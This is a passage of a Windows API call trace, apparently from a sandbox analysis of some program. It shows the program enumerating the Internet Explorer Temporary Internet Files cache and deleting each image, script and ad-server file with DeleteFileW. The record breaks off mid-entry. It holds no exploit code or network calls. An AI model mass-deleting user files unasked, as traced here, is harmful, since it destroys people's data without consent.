Files\\Low\\Content.IE5\\1WL4SQRT\\AA3e1pt[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA3e1pt[1].png" [0098.808] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA3e1pt[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\aa3e1pt[1].png")) returned 1 [0098.808] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab06500, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ab06500, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab2c660, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x135, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AA3e3XC[2].png", cAlternateFileName="AA3E3X~2.PNG")) returned 1 [0098.808] lstrlenW (lpString="AA3e3XC[2].png") returned 14 [0098.808] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="AA3e3XC[2].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA3e3XC[2].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA3e3XC[2].png" [0098.808] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA3e3XC[2].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\aa3e3xc[2].png")) returned 1 [0098.823] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbd590e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbd590e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbd7f240, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AA3vOVA[1].png", cAlternateFileName="AA3VOV~1.PNG")) returned 1 [0098.823] lstrlenW (lpString="AA3vOVA[1].png") returned 14 [0098.823] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="AA3vOVA[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA3vOVA[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA3vOVA[1].png" [0098.823] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA3vOVA[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\aa3vova[1].png")) returned 1 [0098.975] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbf482c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbf482c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf482c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AA61yi9[1].png", cAlternateFileName="AA61YI~1.PNG")) returned 1 [0098.975] lstrlenW (lpString="AA61yi9[1].png") returned 14 [0098.975] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="AA61yi9[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA61yi9[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA61yi9[1].png" [0098.975] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA61yi9[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\aa61yi9[1].png")) returned 1 [0098.988] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b4b1e60, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b4b1e60, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b4b1e60, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AA6JPT3[2].png", cAlternateFileName="AA6JPT~2.PNG")) returned 1 [0098.988] lstrlenW (lpString="AA6JPT3[2].png") returned 14 [0098.988] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="AA6JPT3[2].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA6JPT3[2].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA6JPT3[2].png" [0098.988] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA6JPT3[2].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\aa6jpt3[2].png")) returned 1 [0099.754] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb8964e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb8964e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb8964e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AA8Tave[1].png", cAlternateFileName="AA8TAV~1.PNG")) returned 1 [0099.754] lstrlenW (lpString="AA8Tave[1].png") returned 14 [0099.754] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="AA8Tave[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA8Tave[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA8Tave[1].png" [0099.754] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AA8Tave[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\aa8tave[1].png")) returned 1 [0099.759] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbed5ea0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbed5ea0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbed5ea0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x18c, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AAag599[1].png", cAlternateFileName="AAAG59~1.PNG")) returned 1 [0099.759] lstrlenW (lpString="AAag599[1].png") returned 14 [0099.759] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="AAag599[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AAag599[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AAag599[1].png" [0099.759] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AAag599[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\aaag599[1].png")) returned 1 [0099.769] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc3e4d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc3e4d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc3e4d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x278e, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AAmo09p[1].jpg", cAlternateFileName="AAMO09~1.JPG")) returned 1 [0099.769] lstrlenW (lpString="AAmo09p[1].jpg") returned 14 [0099.770] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="AAmo09p[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AAmo09p[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AAmo09p[1].jpg" [0099.770] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AAmo09p[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\aamo09p[1].jpg")) returned 1 [0099.776] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb908900, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb908900, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb908900, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AAmUyV2[1].png", cAlternateFileName="AAMUYV~1.PNG")) returned 1 [0099.776] lstrlenW (lpString="AAmUyV2[1].png") returned 14 [0099.776] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="AAmUyV2[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AAmUyV2[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AAmUyV2[1].png" [0099.776] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\AAmUyV2[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\aamuyv2[1].png")) returned 1 [0099.781] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdc4aee0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcdc4aee0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcdc4aee0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x15, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="Adform.WriteHelper[1].js", cAlternateFileName="ADFORM~1.JS")) returned 1 [0099.781] lstrlenW (lpString="Adform.WriteHelper[1].js") returned 24 [0099.781] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="Adform.WriteHelper[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\Adform.WriteHelper[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\Adform.WriteHelper[1].js" [0099.781] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\Adform.WriteHelper[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\adform.writehelper[1].js")) returned 1 [0099.785] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19338900, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x19338900, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x19338900, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="adfscript[1]", cAlternateFileName="ADFSCR~1")) returned 1 [0099.785] lstrlenW (lpString="adfscript[1]") returned 12 [0099.785] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="adfscript[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\adfscript[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\adfscript[1]" [0099.785] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\adfscript[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\adfscript[1]")) returned 1 [0099.795] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab527c0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ab527c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab527c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="adfserve[1]", cAlternateFileName="ADFSER~1")) returned 1 [0099.795] lstrlenW (lpString="adfserve[1]") returned 11 [0099.795] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="adfserve[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\adfserve[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\adfserve[1]" [0099.795] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\adfserve[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\adfserve[1]")) returned 1 [0099.800] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd41c340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd41c340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd41c340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x21cd, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="adServer[1].htm", cAlternateFileName="ADSERV~1.HTM")) returned 1 [0099.800] lstrlenW (lpString="adServer[1].htm") returned 15 [0099.800] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="adServer[1].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\adServer[1].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\adServer[1].htm" [0099.800] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\adServer[1].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\adserver[1].htm")) returned 1 [0099.803] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd41c340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd41c340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd54ce40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="async_usersync[2].htm", cAlternateFileName="ASYNC_~2.HTM")) returned 1 [0099.803] lstrlenW (lpString="async_usersync[2].htm") returned 21 [0099.804] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="async_usersync[2].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\async_usersync[2].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\async_usersync[2].htm" [0099.804] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\async_usersync[2].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\async_usersync[2].htm")) returned 1 [0099.804] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b4b1e60, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b4b1e60, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b4b1e60, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BB74fLs[1].png", cAlternateFileName="BB74FL~1.PNG")) returned 1 [0099.815] lstrlenW (lpString="BB74fLs[1].png") returned 14 [0099.816] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BB74fLs[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BB74fLs[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BB74fLs[1].png" [0099.816] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BB74fLs[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bb74fls[1].png")) returned 1 [0099.820] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbd32f80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbd32f80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbd32f80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x234, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBB9wH0[1].png", cAlternateFileName="BBB9WH~1.PNG")) returned 1 [0099.820] lstrlenW (lpString="BBB9wH0[1].png") returned 14 [0099.820] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBB9wH0[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBB9wH0[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBB9wH0[1].png" [0099.820] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBB9wH0[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbb9wh0[1].png")) returned 1 [0099.821] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc3e4d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc3e4d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc3e4d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2569, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBBL4R9[1].jpg", cAlternateFileName="BBBL4R~1.JPG")) returned 1 [0099.821] lstrlenW (lpString="BBBL4R9[1].jpg") returned 14 [0099.821] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBBL4R9[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBBL4R9[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBBL4R9[1].jpg" [0099.821] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBBL4R9[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbbl4r9[1].jpg")) returned 1 [0099.821] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbc4e740, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbc4e740, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbc4e740, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xaff, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDA2Z8[1].jpg", cAlternateFileName="BBDA2Z~1.JPG")) returned 1 [0099.821] lstrlenW (lpString="BBDA2Z8[1].jpg") returned 14 [0099.821] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDA2Z8[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDA2Z8[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDA2Z8[1].jpg" [0099.821] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDA2Z8[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbda2z8[1].jpg")) returned 1 [0099.827] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc34c7e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc34c7e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, 